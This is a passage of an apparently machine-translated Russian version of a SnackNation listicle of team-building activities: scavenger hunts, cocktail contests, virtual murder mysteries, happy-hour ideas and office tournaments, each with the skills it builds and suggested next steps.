Охота на мусорщиков привлекает внимание каждого. Эти занятия предлагают сладкие ощущения от погони, которым люди просто не могут устоять.Ищите подсказки, находите спрятанные предметы и ощутите сладкий порыв, пройдя по следу крошек из мини-загадок на пути к высшей конечной цели.

Актуальность и тайна охоты за мусором также вдохновляют людей на сотрудничество в рекордно короткие сроки.

Навыки, которые развивает эта рабочая деятельность: Сотрудничество, критическое мышление и принятие решений.

Почему нам это нравится: Это дает острые ощущения, приключения, азарт и незабываемую возможность поделиться удовлетворяющим чувством выполненного долга.

Следующий шаг для начала: Посетите Wild Goose Chase. Вы также можете ознакомиться с Руководством по охоте за мусором SnackNation!

«Это было фантастически, мы были потрясены! Все прекрасно провели время, и это полностью превзошло наши ожидания. Спасибо, что поработали с нами так быстро! » -FedEx

3) Конкурс коктейлей в рубленом стиле

«Станьте куратором крафтовых коктейлей».

Вдохновленный телесериалом Chopped, эту интерактивную демонстрацию коктейлей будет проводить опытный миксолог, который научит всех основам приготовления коктейлей, включая химию и сложности, которые необходимы для создания восхитительного напитка.

После краткого введения и обучения коктейлям, команды разделятся, и им будет предоставлено время для совместной работы над созданием собственных коктейлей ручной работы. В конце фазы тестирования и разработки миксолог на месте проверяет и оценивает каждый готовый коктейль на основе вкуса, оригинальности и использования «загадочного ингредиента», чтобы определить окончательного победителя.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, общение, слушание и сотрудничество.

Почему нам это нравится: Соревнования с низкими ставками — потрясающий способ разжечь кровь и улучшить командную работу, добавить коктейли в смесь, и у вас есть первоклассное мероприятие по построению команды!

Следующий шаг для начала: Посетите класс миксологии — потому что с салата не начиналась великая история.

4) Тайна виртуального убийства

«Даже Zoom не сможет скрыть красные руки от вас и вашей команды».

Cue The Office… Входит Майкл Скотт… «Произошло убийство…»

Честно говоря, Майкл действительно кое-что понял! Раскрытие тайны убийства может стать отличным способом сблизиться с вашей командой.Ознакомьтесь с Virtual Clue Murder Mystery в Outback, где вы найдете все типы загадочных игр, предназначенных как для физических, так и для гибридных и виртуальных рабочих мест, которые помогают развивать командную работу, общение и формирование культуры.

Навыки, которые развивает эта рабочая деятельность: Решение проблем, командная работа, сотрудничество и критическое мышление.

Почему нам это нравится: Проведение такого мероприятия «под ключ» означает, что все детали спланированы, и вы даже выиграете от удобства и дополнительного удовольствия от опытного ведущего.Вы можете быть уверены, что все не только пройдет гладко, но и все прекрасно проведут время.

Следующий шаг для начала работы: Изучите виртуальный ключ к разгадке тайны убийства, чтобы получить индивидуальные цены.

5) Привязать к пиву

«Воспользуйтесь командным клеем, известным как пиво».

Предлагая как виртуальные, так и личные мероприятия, City Brew Tours знает, как использовать связывающую силу пива. Попробуйте лучшее пиво, которое предлагает ваш город, лучше узнайте свою команду и наслаждаясь гарниром из забавных фактов, которые подает ваш опытный хозяин.

Навыки, которые развивает эта рабочая деятельность: Доверие, общение и сочувствие.

Почему нам это нравится: Замечательная беседа, красочные комментарии и свежее пиво делают это мероприятие невероятно незабываемым. Связь и аромат сочетаются друг с другом, чтобы создать одно очень приятное воспоминание.

Следующий шаг для начала: Посетите City Brew Tours.

«После трех месяцев работы в распределенных командах мы особенно благодарны за те моменты, которые у нас есть, чтобы снова пообщаться с нашими коллегами.В мае мы провели несколько виртуальных сессий домашнего пивоварения с City Brew Tours — им удалось провести шесть групп любителей пивоварения через процесс пивоварения, вооружившись последующими инструкциями по газированию и розливу в бутылки. (Нам удалось выяснить, что такое питьевая часть.) Если мы не можем выпить пива вместе, приготовление собственного пива, не выходя из нашей кухни, может быть следующим лучшим делом! » — Подрядчики по тяжелым механическим работам

Если вы хотите раскрыть тупик со своей удаленной командой, существует ряд виртуальных пивных мероприятий, которые упрощают общение в веселой и живой онлайн-среде.Вот несколько из них, которые мы опробовали в прошлом году:

Бонус: схватка в парке собак

«Убедитесь, что все знают, что ваш питомец — абсолютный чемпион / модель Instagram».

Отправляйтесь в местный парк для собак с домашними животными на буксире. Затем просто по очереди попросите своих питомцев выполнить некоторые из этих веселых вирусных задач в Интернете. (Вы даже можете создать уникальный хэштег для своего мероприятия, чтобы люди могли легко найти и пересмотреть свои потрясающие кадры.)

Навыки, которые развивает эта рабочая деятельность: Доверие, общение и сочувствие.

Почему нам это нравится: Маги используют искусство неверного направления для создания, казалось бы, невозможных иллюзий. В этом упражнении используется неверное направление для максимального удовольствия. Перенаправляя внимание участников на своих питомцев, люди могут распустить волосы, немного громче смеяться, немного больше говорить и лучше узнавать друг друга.

Следующий шаг для начала: Найдите свой парк.

Ищете дополнительные мероприятия для привлечения сотрудников? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

Тимбилдинг для работы: большие группы

Мероприятия по тимбилдингу для больших групп должны обладать достаточной структурой и азартом, чтобы вовлекать и вовлекать всех в равной мере.Мероприятия, которые заставляют членов группы работать над одной общей целью, идеально подходят для развития прочных связей в непосредственных командах и между большим коллективом.

6) День поля

«Помогите друг другу заново открыть для себя ВЕСЕЛО».

Эпический виртуальный или личный полевой день, любезно предоставленный The Go Game, — это именно то, что вам нужно, чтобы привлечь внимание всей большой группы. Прежде чем вы это узнаете, ваши безупречные профессиональные товарищи по команде будут участвовать в игре с беззаботной радостью учеников начальной школы на перемене.Они будут выражать себя органично. Они будут общаться, не задумываясь. Они зажгут искру радости как в жизни, так и в работе.

Навыки, которые развивает эта рабочая деятельность: Работа в команде, лидерство и сотрудничество.

Почему нам это нравится: Профессионально организованное мероприятие — это больше, чем просто удобство. Это также бесценно для совместной работы, которую вы получите в этот особенный день. Эксперты, проводящие мероприятия Go Game, точно знают, как привлечь все возможное, чтобы развлечься и пообщаться, даже в смехотворно больших группах.Они позаботятся о том, чтобы уровень вовлеченности оставался высоким, а участие было универсальным и при этом полным энтузиазма.

Следующий шаг для начала: Посетите The Go Game.

«Сегодняшняя игра нашей команды была потрясающей! Это был самый эффективный и увлекательный опыт удаленного тимбилдинга, который я когда-либо видел ». -Элизабет Купер, Google

7) Квест

«Ваша команда — ваш единственный план побега».

Ни телефонов, ни гугла, ни полезных подсказок.Это задание заставит вас и вашу команду сбежать, используя только свой коллективный ум. Соберитесь вместе, чтобы проработать улики, договориться о следующих шагах и действовать как единое целое (как семья Роуз), если вы когда-нибудь надеетесь на побег.

Навыки, которые развивает эта рабочая деятельность: Решение проблем, командная работа, доверие, общение, лидерство и сотрудничество.

Почему нам это нравится: Игроки могут оказаться в захватывающих сценариях — охоте за золотом, плавании среди древних руин или побеге из печально известной тюрьмы — но больше всего они запомнят чувство единства в команде.Когда идеи и вклад каждого объединяются в этот грандиозный момент побега, вы все испытываете незабываемое чувство общей победы.

Следующий шаг для начала: Посетите квесты по ограблению драгоценностей.

«Было очень весело. Самое приятное — это совместная работа команды. Многие люди обладали разными навыками и добавляли разные вещи в уравнение. В целом, это был действительно отличный опыт построения команды, который научил нас работать вместе и вместе побеждать »-Scotiabank

8) Офисный макет офиса

«Запечатлейте волшебство и хаос жизни в своем офисе.”

Сделать псевдодокумент? Нет, мы не просим вас нанимать съемочную группу и специалистов по свету. Когда вы снимаете фильм для развлечения и развлечения своей команды, вы можете снять его с помощью телефонов и некоторого базового программного обеспечения.

Это упражнение объединяет две точки соприкосновения с тимбилдингом. Люди веселятся во время создания, и им будет еще больше удовольствия, когда вы соберетесь на большую премьеру виртуально или лично.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, командная работа, общение и принятие решений.

Почему нам это нравится: Команды должны сотрудничать и общаться, чтобы создавать макетные. Кроме того, хотя просмотр готового продукта будет забавным, он также может дать несколько полезных советов о том, как обращаться друг с другом и разговаривать друг с другом. Добродушно посмеявшись над состоянием корпоративной культуры, вы можете найти несколько действительно эффективных способов ее улучшить.

Следующий шаг для начала работы: Изучите некоторые приемы, позволяющие передать фирменный стиль Office.

9) Постройте что-нибудь для дела

«Создавайте связи в команде, создавая крутые штуки».

Это действие следует простой формуле: Сборка + Пожертвование = Единство. Постройте что-нибудь, пожертвуйте это на благотворительность и вместе наслаждайтесь наградами.

Кто-то может возразить, что «строить вещи вместе» — это изначальная деятельность по построению команды, что наши древние предки обнаружили волшебством, когда они устроились в ночевке, чтобы создать свои первые постоянные дома.

Вы объединитесь для достижения кристально чистой и осязаемой цели. Вы почувствуете грандиозность общих достижений, восхищаясь готовым продуктом. Вы почувствуете глубокую привязанность, когда передадите свое пожертвование.

Навыки, которые развивает эта рабочая деятельность: Работа в команде, доверие и общение.

Почему нам это нравится: Это задание позволяет каждому увидеть результат своей совместной работы. Им не нужно задаваться вопросом, достаточно ли они внесли свой вклад или хорошо поработали; конечный продукт все расскажет.

Следующий шаг для начала: Посетите тимбилдинг в глубинке.

10) Турнир по чему угодно

«Единственные правила этого турнира — те, которые вы составляете».

Выберите свой любимый вид спорта, настольные игры, головоломку, мысленный эксперимент — что угодно — и превратите это в турнир. Практически любую игру, которую только можно вообразить, можно превратить в игровой день в стиле турнира: пинг-понг, Mario Kart, Jenga, камень-ножницы-бумага, вышибалы и этот список можно продолжать и продолжать.

На самом деле, чем уникальнее вы сделаете центральное мероприятие, тем более запоминающимся будет этот турнир.

Навыки, которые развивает эта рабочая деятельность: Сотрудничество и критическое мышление.

Почему нам это нравится: Здоровая конкуренция и увлекательные игры, поданные с некоторой дозой веселья, — это рецепт основной связи и создания памяти.

Следующий шаг для начала: Изучите основы проведения игрового турнира или позвольте профессионалам это сделать.

11) Корпоративные корабли

«Ваш пропуск, чтобы превратить выживание в эпическую игру».

Товарищи по команде погрузятся в серию испытаний, вдохновленных сериалом Survivor TV. В то время как это упражнение помогает каждому развить навыки, необходимые для повседневной работы, высокие ставки вдохновляют игроков на то, чтобы придать своим действиям дополнительную дозу стратегического мышления, сотрудничества и чистого духа.

Навыки, которые развивает эта рабочая деятельность: Решение проблем, командная работа, доверие, общение, сотрудничество и принятие решений.

Почему нам это нравится: Он оборачивает то, что могло бы быть обычной корпоративной моделью обучения, в увлекательное помещение и выводить его на улицу, чтобы получить дополнительное удовольствие и поднять настроение солнечным светом.

Следующий шаг, чтобы начать работу: Начните свое приключение с коллегами по работе.

Ищете другие занятия для больших групп? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

Тимбилдинг для работы: социальное дистанцирование

Социально удаленные мероприятия по построению команды должны выполнять сложную задачу: объединять людей, сохраняя при этом безопасное расстояние друг от друга.Гибридные командные мероприятия, желательно на открытом воздухе или виртуальные, с физическим упором, вызывают много смеха. Сделайте события простыми с минимальными инструкциями и необходимыми коммуникациями. (Оба имеют тенденцию создавать путаницу, когда вы держитесь на расстоянии и к тому же носите маску.)

12) Бросок яйца

«Будет ли ваша команда сотрудничать или давать трещину?»

Люди никогда не могли противостоять вызову, который представляет простое хрупкое яйцо. Мы любим проверять каждый предел.Эта деятельность не исключение. Вы и ваш партнер должны оставаться идеально синхронизированными, когда вы подбрасываете яйцо взад и вперед, создавая идеальное сочетание напряжения и сотрудничества, усугубляемого ограничением по времени.

Есть только один вопрос: Сможете ли вы и ваш товарищ по команде сохранить свое драгоценное яйцо в целости и сохранности?

Навыки, которые развивает эта рабочая деятельность: Решение проблем, командная работа и доверие.

Почему нам это нравится: Это простота в ее самом эффективном проявлении. Цель ясна.Предпосылка проста. Инструкции не требуют пояснений. Однако вы обнаружите глубокие сложности во всех невероятных способах, которыми пары добиваются своей цели. Снимите мероприятие на пленку, чтобы каждый мог наблюдать за совместной работой в режиме реального времени и обсудить важные моменты, которые они могли пропустить в пылу сиюминутной минуты.

Следующий шаг для начала: Получите правила бросания яиц.

13) Тихая дискотека

«Верно. Ваша команда танцует под ваш собственный коллективный барабан.”

Превратите простую танцевальную вечеринку в более структурированное мероприятие, добавив небольшую задачу: каждый должен застыть на месте, когда вы неожиданно ставите музыку на паузу. Помимо истерического смеха, обязательно во время паузы делайте снимки или скриншоты. Вы обязательно захотите просмотреть их позже.

Навыки, которые развивает эта рабочая деятельность: Доверие, общение, сочувствие и умение слушать.

Почему нам это нравится: Смех, физическая активность и общая уязвимость — идеальный рецепт для сильной связи.

Следующий шаг для начала работы:

  • Создайте плейлист Spotify и поделитесь им
  • Попросите всех встретиться в местном парке или на пляже с мобильными устройствами и наушниками на буксире
  • Помогите всем расположиться в «танцевальных зонах» на расстоянии не менее 6 футов друг от друга
  • Открыть список воспроизведения
  • Напомните всем, чтобы они открыли свои настройки воспроизведения и установили кроссфейд на 3 секунды, чтобы все песни заканчивались одновременно
  • Обратный отсчет
  • Одновременное нажатие кнопки воспроизведения
  • Танцуй, смейся, повторяй

14) BYOBBB: Одеяла, мячи и напитки

«Соберите всех в одном месте и позвольте веселью развлечься.”

Отправляйтесь в местный парк и получите удовольствие от всех желающих. Не планируйте никаких конкретных действий, но будьте готовы дать каждому (социально дистанцированному) предложение попробовать. Сделайте это мероприятие BYOBBB на всех фронтах, пригласив всех со своими одеялами, мячами и напитками. В конечном итоге вы можете подбросить фрисби, изобрести бирку для фрисби или даже ударить по банке.

Самое приятное то, что никогда не знаешь.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, доверие и общение.

Почему нам это нравится: В нем запечатлено спонтанное волнение от встречи с соседскими детьми, чтобы увидеть, куда ведет вас чудо игры.

Следующий шаг для начала: Эта идея социального дистанцирования для детей вдохновит вас.

15) Нерф Битва

«Tag, you’re fun!»

Предупреждающий выстрел поднимается в воздух…

Не волнуйтесь слишком сильно; Выстрел, о котором идет речь, был произведен из ружья «Нерф».Но вам лучше двигаться, потому что другая команда хочет вывести вас из игры как можно скорее.

Сыграйте в перестрелку Nerf, как если бы вы играли в классический тэг. Вместо того, чтобы бить членов другой команды руками, бейте их удобными пушками Nerf, которые позволяют вам поддерживать безопасную для пандемии 6 футов расстояния между вами и вашими противниками.

Навыки, которые развивает эта рабочая деятельность: Коммуникация, лидерство и принятие решений.

Почему нам это нравится: Это помогает игрокам направлять особую чистую детскую радость.Вы начинаете гоняться друг за другом, но в конечном итоге катаетесь по земле со смехом, навсегда чувствуя себя лучшими друзьями.

Следующий шаг для начала: Узнайте, как вести войну с нерфами.

«Это может показаться не самым традиционным упражнением по построению команды, но здесь, в YouEarnedIt, мы верим в то, что признание наших достижений делает наших сотрудников самыми счастливыми. В тот же день, когда мы узнали, что YouEarnedIt выиграли титул «Лучшее место для работы в Остине», мы провели нашу первую в истории Nerf Battle Royale.Наши сотрудники объединили свои баллы YouEarnedIt, чтобы профинансировать и запустить то, что оказалось одним из самых эффективных упражнений по построению команды. На 30 минут весь офис превратился в поле битвы, где стратегия, сотрудничество и нестандартное мышление означали разницу между жизнью и (виртуальной) смертью ». -Тим Райан, вице-президент по маркетингу

16) Творческий конкурс

«Пусть поиграют внутренние художники».

Дайте каждому возможность проявить (и продемонстрировать) свою творческую сторону.В отличие от других мероприятий по построению команды, объединяющая магия этой деятельности исходит не от совместного творчества; это происходит из-за совместного использования индивидуальных творений.

Просто попросите каждого самостоятельно создать произведения — рассказы, стихи, краски, песни или что-нибудь еще, что вы хотите. Настоящая связь возникает, когда все части объединяются в коллекцию, которая волшебным образом отражает индивидуальность вашей группы.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, доверие и сочувствие.

Почему нам это нравится: Это упражнение подчеркивает, что значит быть командой на новом уровне. Это показывает, что чувство единения может возникнуть даже в результате обмена идеями, разработанными независимо. (Он также идеально подходит для 100% соблюдения принципов социального дистанцирования, а также для того, чтобы интроверты чувствовали себя очень комфортно.)

Следующий шаг для начала работы:

  • Набросайте несколько простых правил
  • Объявить о конкурсе
  • Собрать материалы
  • Используйте инструмент социального голосования для демократизации процесса судейства
  • Объявите и отметьте победителей с помощью программного обеспечения для распознавания сотрудников, такого как NectarHR
Ищете больше занятий для социального дистанцирования на работе? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

Тимбилдинг для работы: Zoom

В действии Zoom должен быть идеальный баланс вовлеченности и пассивного развлечения.Вы хотите, чтобы все пообщались и поболтали, но также не хотите, чтобы они утомились или перегорели в первые 10 минут. Эти виртуальные тимбилдинговые мероприятия либо имеют разностороннюю структуру, либо вращаются вокруг центрального элемента развлечения, который направляет беседы во время коротких перерывов.

17) Команда ночи кино

«Это легкое занятие по-настоящему нравится публике».

Скромный вечер кино — идеальный способ заставить людей почувствовать себя привязанными к Zoom.Подобно походу в кинотеатр в те давно забытые дни, важной частью этого занятия является то, что все мозги и глазные яблоки участвуют в общем кинематографическом опыте. Вы можете легко добиться этого с помощью Zoom, и вам не придется слышать, как все прихлебывают газировку или хрустят попкорном.

Навыки, которые развивает эта рабочая деятельность: Общение, сочувствие и умение слушать.

Почему нам это нравится: Это занятие не может быть проще, но оно также по-настоящему нравится публике.Фокус фильма снижает давление, а также позволяет всем болтать и общаться столько, сколько они хотят.

Следующий шаг для начала: Посетите Hulu Watch Party или Netflix Party.

18) Путешествие в прошлое (с мелочами)

«Какой сейчас год?!?!»

Это тимбилдинг — верный способ собрать вашу удаленную команду вместе, а не просто прыгать на «еще один звонок Zoom». Путешествуйте по десятилетиям, отвечая на тематические вопросы поп-культуры в быстрой и живой виртуальной среде.Кроме того, в рамках интерактивного викторины веселый ведущий порадует ваших коллег шутками, шутками и историями.

Навыки, которые развивает эта рабочая деятельность: Критическое мышление и работа в команде.

Почему нам это нравится: Он объединяет коллег с общей целью — посмеяться. Кроме того, поп-культура — это доступный способ вовлечь всех в Zoom.

Следующий шаг для начала: Шагните прямо в машину времени, изучив эти детали.

19) Организуйте смех

«Будьте глупыми, создавая серьезные командные связи».

Если алкоголь — социальная смазка, то смех можно считать социальным суперклеем. Он может объединить людей, у которых нет абсолютно ничего общего. Это может заставить людей, однажды разделенных напряжением, почувствовать сильные узы. Это может заставить даже огромные группы людей почувствовать себя давно потерянными друзьями.

Навыки, которые развивает эта рабочая деятельность: Доверие, общение и сочувствие.

Почему нам это нравится: Смех — это свободный, волнующий и невероятно легкий смех. Когда вы приглашаете организатора мероприятия, который знает, как заставить его течь, преимущества неизмеримы. Наука предполагает, что смех снижает стресс, сближает людей и поднимает настроение. К тому же это заразно. Пригласите несколько человек, и оттуда все будет восхитительным спуском.

Следующий шаг для начала: Посетите Laughter on Call, чтобы спланировать супервеселую ночь комедии и импровизаций.

20) Ночная виртуальная игра

«Сделайте свое виртуальное игровое лицо».

Существует так много видов игр, каждая из которых восхитительна по разным причинам. Вечер виртуальной игры — это ваш шанс выделить своих абсолютных фаворитов, играя с лучшими из лучших в непрерывном марафоне игрового совершенства, который понравится всем.

Навыки, которые развивает эта рабочая деятельность: Лидерство, сотрудничество и принятие решений.

Почему нам это нравится: Готовые игры забавны и знакомы. Часто достаточно просто упомянуть о популярной игре, чтобы взволновать людей. Кроме того, большинство людей уже знают, как играть. Это означает, что вы можете получить максимум удовольствия, сведя к минимуму подготовительную работу и инструкции.

Следующий шаг для начала работы: Ознакомьтесь с этими идеями виртуальных ночных игр, в том числе:

21) Виртуальная сессия йоги / осознанности

«Почувствуйте этот особый командный поток без слов.”

Во время групповой сессии йоги / осознанности вы, возможно, не общаетесь и не сотрудничаете внешне, но вы подключаетесь к более глубокому чувству связи. Когда вы подсознательно синхронизируете свои движения и дыхание, вы подключаетесь через коллективное бессознательное, которое кажется легким, но укрепляет ваши командные связи.

Навыки, которые развивает эта рабочая деятельность: Доверие, сотрудничество и сочувствие.

Почему нам это нравится: Это занятие приносит пользу как на индивидуальном, так и на групповом уровне.Отдельные практикующие могут испытывать меньший стресс и повышенное настроение. Вместе вы почувствуете волшебное чувство групповой энергии и поддержки.

Следующий шаг для начала: Просмотрите варианты оздоровления Blueboard.

Ищете дополнительные ресурсы для виртуального тимбилдинга? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

Тимбилдинг для работы: счастливый час

Тост за хороший рабочий день, счастливый час — это идеальный знак препинания, чтобы завершить продуктивный день или перейти к не очень продуктивному дню.Эти мероприятия короткие, приятные и удивительно сдержанные. Если вы делитесь с коллегами несколькими глотками и улыбками после работы, то можете назвать это счастливым часом независимо от того, где вы находитесь и что пьете.

22) Виртуальный счастливый час Mixology

«Будь сам себе барменом».

Скажите всем, чтобы они выбросили шейкеры для коктейлей и фартуки, которые они никогда не используют. Сегодня они бармены. Присоединяйтесь к своей команде, когда вы узнаете, как умело измерять, перемешивать и смешивать ингредиенты для создания вкусных коктейлей, достойных Instagram.

Изучите методы, которыми клянутся профессиональные бармены, а также задайте уточняющие вопросы о том, зачем и как это все делать.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление и общение.

Почему нам это нравится: Вы можете разговаривать так же качественно, как могли бы, пассивно потягивая коктейли в баре. Но с этим опытом вы получите дополнительное преимущество: вы узнаете тонну профессионального коктейльного мастерства и истории барменов, одновременно совершенствуя эту дружелюбную, но недоступную улыбку бармена.

Следующий шаг для начала: Забронируйте мероприятие у опытного миксолога.

23) Ночь покера

«Узнавайте лица друг друга в покере, чтобы достичь нового уровня дружбы».

Хорошая компания, вкусные закуски, высокие ставки и много умственной стимуляции — не единственное, что делает классический вечер покера таким увлекательным. Покер также приносит пользу за счет всего, что происходит «не по картам».

Во время игры вы познакомитесь с обычно незаметными тиками и невербальными коммуникативными привычками ваших товарищей по команде.Вы узнаете их на более глубоком уровне.

Навыки, которые развивает эта рабочая деятельность: Доверие, общение и принятие решений.

Почему нам это нравится: Poker — идеальный фон для серьезного сплочения команды. Игра веселая и стимулирующая, но она не мешает игрокам участвовать в самой важной части счастливого часа: общаться и общаться с коллегами.

Следующий шаг для начала: Получите классические инструкции по покеру или позвольте дилеру организовать виртуальный покерный турнир.

24) Темы скидок

«Сделайте свой счастливый час идеальной темой».

Вдохните новую жизнь в классический счастливый час с захватывающими темами. Темы придают вашему счастливому часу особую индивидуальность, связывая все ваши действия и разговоры воедино, чтобы создать связное, увлекательное и запоминающееся событие.

Когда вы используете тему счастливого часа, вы даете своим гостям идеи для костюмов, украшений, закусок и даже для начала разговора.Это сглаживает любую неловкость и обычно помогает всем получать больше удовольствия.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление и сотрудничество.

Почему нам это нравится: Выбрать тему «счастливого часа» очень просто, но она добавляет яркости вашему мероприятию. В этом заключается разница между «весельем» и «незабываемо».

Следующий шаг для начала: Ознакомьтесь с этими темами счастливого часа, в том числе:

  • Будущие десятилетия
  • Тайное убийство
  • Поэзия

25) Паб Викторина

«Сходи в местный паб.”

Похоже, на этой неделе в виртуальном пабе Хэмиша Макдаффа для команд состоится счастливый час. С веселым владельцем шотландского паба, возможностью взять напиток для взрослых и уникальной викториной в пабе — у ваших сотрудников будет все необходимое, чтобы расслабиться и насладиться счастливым часом в конце недели.

Навыки, которые развивает эта рабочая деятельность: Сотрудничество и построение отношений.

Почему нам это нравится: Викторина в пабе, сопровождающаяся сюрпризами, — это не требующая больших усилий и значительная награда разновидность «счастливого часа», когда коллеги могут объединиться, поделившись знаниями о (в основном) бесполезных фактах и ​​мелочах.

Следующий шаг для начала: Спуститесь в паб, чтобы узнать индивидуальное предложение для вашей команды.

26) GeoGuessr

«Выиграйте счастливый час и исследуйте мир».

Во время этой сетевой групповой игры вы и ваши гости «счастливого часа» будете смотреть на картинку и пытаться угадать ее местонахождение, перетаскивая значок по карте. Если это звучит достаточно просто, то вы будете приятно удивлены тем, насколько это сложно на самом деле.Во время игры вы узнаете об окружающем мире и, возможно, даже услышите удивительные истории обо всех местах, о которых вы даже не подозревали, побывали члены вашей команды.

Навыки, которые развивает эта рабочая деятельность: Критическое мышление и слушание.

Почему нам это нравится: Разговоры о путешествиях — прошлые путешествия, планы путешествий, мечты о путешествиях — это повсеместно обожаемая тема для разговоров. Она может взволновать и оживить любого, и эта игра предоставляет множество возможностей для этого.

Следующий шаг для начала: Запустите GeoGuessr.

27) Виртуальная дегустация алкоголя

«Поднимите бокал до цифровых полос без границ».

Социальное дистанцирование во время пандемии COVID-19 привело к тому, что многие винодельни, винокурни и пивоварни закрыли свои дегустационные залы. Но пьянство и сборище живут в виртуальном мире в полную силу.

Виртуальная дегустация алкоголя сочетает в себе немного старого нормального и немного нового. Вы по-прежнему можете глубоко общаться со своими коллегами, но вы можете встретиться с ними онлайн (в пижаме, если хотите), а не в местном баре.

Навыки, которые развивает эта рабочая деятельность: Коммуникация и сочувствие.

Почему нам это нравится: Вы можете попробовать напитки от лучших из лучших поставщиков по всему миру, наслаждаясь компанией ваших любимых людей. Лучше всего то, что вы можете делать все это, не выходя из своей гостиной, что (помимо того, что это так уютно, как мечта) означает, что вам не нужно беспокоиться о назначенных водителях или совместных поездках.

Следующий шаг для начала: Выберите одну из этих идей виртуальной дегустации алкоголя, включая предложения от City Brew Tours и виртуальной дегустации вин Confetti’s.

Ищете другие занятия для «счастливого часа»? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

Тимбилдинг для работы: Офис

Командообразование в офисе просто делает работу более интересной. Неважно, тратите ли вы время на знакомство со своими коллегами по офису, даете людям хорошее признание или работаете над некоторыми новыми лидерскими навыками в хорошей компании, вы уходите от этих событий со свежими связями, новыми навыками и свежими взглядами. это обогатит вашу рабочую среду.

28) Составьте командный плейлист

«Создайте фирменный звук своей команды».

Соберитесь вместе, чтобы составить самый потрясающий плейлист в истории. Или, что еще лучше, каждую неделю создавайте новый лучший плейлист. Изучите песни, которые выбрали другие, и сделайте дополнительный выбор. Наслаждайтесь прослушиванием всего этого и слышите, как проявляется индивидуальность каждого. Вам понравится, как все вместе взятые каким-то образом передают волшебство вашей команды.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, сотрудничество и сочувствие.

Почему нам это нравится: Прослушивание любимой музыки поднимает настроение, заряжает энергией, приносит удовольствие и приносит удовольствие. Все эти хорошие вещи усиливаются (каламбур), когда вы делитесь своей любимой музыкой с другими.

Следующий шаг для начала: Посетите совместные плейлисты Spotify, чтобы получить инструкции. Выберите тему и попросите всех прислать две совпадающие песни.

29) Соревнование по шахматам «Ферзевый гамбит»

«Сразитесь в решающей стратегической игре».

Тихие, но полные скрытых действий шахматы — идеальная игра для офиса. Это увлекательный способ обучения как для наблюдателей, так и для игроков, и он способствует развитию тихой связи по мере того, как вы больше узнаете о том, как работают умы вашей команды. По мере того, как вы предвидите ходы и представляете результаты, вы также укрепляете свои навыки стратегического мышления.

Навыки, которые развивает эта рабочая деятельность: Стратегическое мышление, критическое мышление, сочувствие и принятие решений.

Почему нам это нравится: Это спокойная стратегия, безупречный фокус и сдержанные острые ощущения. Это позволяет вам самостоятельно решать проблемы, а также поглощать действия и планы ваших оппонентов. Игроки оттачивают свою способность читать людей, бесценный навык в повседневной офисной работе.

Следующий шаг для начала: Научитесь играть в шахматы.

30) Проведите ночь викторины

«Кричите, отвечая, будто счет не ведется».

Почему Jeopardy является игровым шоу №1 всех времен? Тихое обаяние покойного Алекса Требека, безусловно, сыграло свою роль, но, помимо харизматичного ведущего, люди любят Jeopardy из-за мелочей.

Даже когда мы понятия не имеем об ответе, мы любим делать предположения. Правильный и неправильный ответ помогает нам учиться.

Навыки, которые развивает эта рабочая деятельность: Работа в команде, сотрудничество и критическое мышление.

Почему нам это нравится: Это интересно, познавательно и инклюзивно. Даже люди, которые не решаются делать предположения вслух, вероятно, сформировали такое предположение в своем сознании и чувствуют себя вовлеченными в эту деятельность. Немногие другие занятия могут вызвать такой всеобщий интерес и заинтересованность.

Следующий шаг для начала: Узнайте, как организовать вечер викторины или спланировать виртуальную ночь викторины с вашим собственным мастером викторины.

31) Гаматон

«Разогрейте руку контроллера.”

Геймеры объединяются, чтобы организовать грандиозный захват офиса. Это упражнение работает не только потому, что видеоигры — это весело, но и потому, что это развлечение может принести пользу обществу, включая доверие, лидерство и сотрудничество.

Кроме того, есть по крайней мере одна видеоигра, в которую почти любой влюбится, если даст ей шанс. Офисный турнир — это идеальный способ для не-геймеров исследовать мир игр.

Навыки, которые развивает эта рабочая деятельность: Творческое мышление, общение и сотрудничество.

Почему нам это нравится: Видеоигры мгновенно захватывают. Периода прогрева почти нет. Вы можете перейти от нуля к веселью всего за несколько секунд, превратив свой офис в заряженную и полностью занятую среду.

Следующий шаг для начала: Проведите скромный игровой турнир, просто играя в свою любимую игру, отслеживая на доске лучших бомбардиров. Продолжайте сталкивать своих лучших бомбардиров друг с другом до тех пор, пока в финальном поединке не останется только двое.

32) Исследуй свой город

«Подышите в офисе свежим воздухом».

Отличный способ наладить совместную работу вашего офиса над общей целью — спланировать отличное мероприятие в вашем городе. Есть масса способов вывести людей из дома в ясный ясный день, будь то охота за мусором, экскурсия по городу или обход бара! SnackNation недавно попробовала пройти по Лос-Анджелесу охоту за мусорщиками типа «Удивительная гонка», когда сотрудники разбивались на команды, решали подсказки и задачи и мчались к финишу.

Навыки, которые развивает эта рабочая деятельность: Решение проблем, работа в команде, выносливость.

Почему нам это нравится: Когда все работают в офисе или удаленно, сейчас самое лучшее время, чтобы безопасно собраться вместе на открытом воздухе и позволить коллегам объединиться за общий опыт построения команды.

Следующий шаг для начала: Попробуйте участие в мероприятии «Удивительная гонка» или спланируйте собственную экскурсию по городу, чтобы выйти на улицу со своим офисом.

33) Мини-турнир по баскетболу

«Сделайте паузу своей мечты.”

Сократите славную игру в баскетбол, чтобы заняться спортом, которым можно заниматься прямо в офисе. По сравнению с традиционным баскетболом, игра в мини-кольца может привлечь больше людей. Для этого не требуется столько навыков, правил или приемов, чтобы в игру могли войти люди любого уровня подготовки и уровня уверенности.

Навыки, которые развивает эта рабочая деятельность: Работа в команде и лидерство.

Почему нам это нравится: Он приносит острые ощущения от обручей прямо в офис.Кроме того, вы можете оставить обручи поднятыми после начального турнира, чтобы стимулировать игру в любой момент, когда людям понадобится небольшой перерыв или повышение энергии.

Следующий шаг для начала: Возьмите набор для мини-баскетбола.

Ищете более веселые занятия в офисе? Ознакомьтесь с этими ресурсами SnackNation для дальнейшего чтения:

